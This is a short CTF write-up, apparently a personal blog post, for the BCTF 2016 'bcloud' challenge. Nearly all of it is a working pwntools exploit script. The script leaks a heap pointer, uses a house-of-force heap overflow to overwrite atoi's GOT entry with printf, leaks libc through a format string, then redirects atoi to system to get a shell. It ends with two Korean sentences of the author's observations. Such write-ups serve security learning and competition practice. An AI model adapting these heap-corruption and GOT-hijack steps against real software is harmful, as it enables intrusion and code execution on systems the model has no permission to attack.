BCTF 2016 Bcloud

from pwn import *
 
p=process("./bcloud.9a3bd1d30276b501a51ac8931b3e43c4")
#p=remote("localhost",9001)
elf = ELF("./bcloud.9a3bd1d30276b501a51ac8931b3e43c4")
def start():
    print p.recvuntil('Input your name:')
    p.sendline("A"*64+"C"*64+"\xff\xff\xff\xff")
 
    print p.recvuntil("A"*64)
    heap = u32(p.recv(4))
    
    p.recvuntil('Org:')
    p.recvuntil('Host:')
    return heap
 
def new(length,content):
    p.recvuntil('option--->>')
    p.sendline("1")
    p.recvuntil('length of the note content:')
    p.sendline(str(length))
    p.recvuntil('Input the content:')
    p.sendline(content)
 
def show():
    p.recvuntil('option--->>')
    p.sendline("2")
    print p.recvuntil('strange happened.')
 
def edit(index,content):
    p.recvuntil('option--->>')
    p.sendline("3")
    p.recvuntil('Input the id:')
    p.sendline(str(index))
    p.recvuntil('Input the new content.')
    p.sendline(content)
    print p.recvuntil('Edit success.')
 
def delete(index):
    p.recvuntil('option--->>')
    p.sendline("4")
    p.recvuntil('Input the id:')
    p.sendline(str(index))
    print p.recvuntil('Delete success.')
def syn():
    p.recvuntil('option--->>')
    p.sendline("5")
    print p.recvuntil('Synchronization success.')
 
heap = start() 
host = heap + 0x48 
orc = host + 0x48
top_chunk = heap + 0xd8 #size !!! data xxxx
print "what's your name: "+hex(heap)
print "heap top chunk: "+hex(top_chunk)
atoi_got = elf.got['atoi']
print hex(atoi_got)
size = ((atoi_got-top_chunk)-0xc)
print str(size)
puts_plt = 0x08048520
 
new(size,"")
 
atoi_print = p32(0)+p32(elf.plt['printf'])
new(len(atoi_print),atoi_print)
 
print p.recvuntil('option--->>')
print p.recvuntil('option--->>\n')
print "===========LEAK ================"
p.sendline("%10$p")
puts = int(p.recv(10),16) - 11
system = puts - 0x24f00
print "puts leak: "+hex(puts)
print hex(system)
print p.recvuntil('option--->>')
p.sendline("cca")
print p.recvuntil('Input the id:')
p.sendline("1")
print p.recvuntil('Input the new content:')
p.sendline(p32(0)+p32(system))
 
print p.recvuntil('option--->>')
p.sendline("ls\x00")
 
p.interactive()

 house of force를 할 때 테스트용으로 prev size 계산 안 하고 그냥 got에 넣었더니 -8이 아니라 -12가 되어서 -0xc를 해야된다는것을 쉽게  알아내고 저기서 ls\00을 안 넣고 그냥 실행을 시켜도 쉘이 따진다. 

처음으로 atoi got 조작해서 format string bug 일으키는 문제를 풀어서 신기하였다.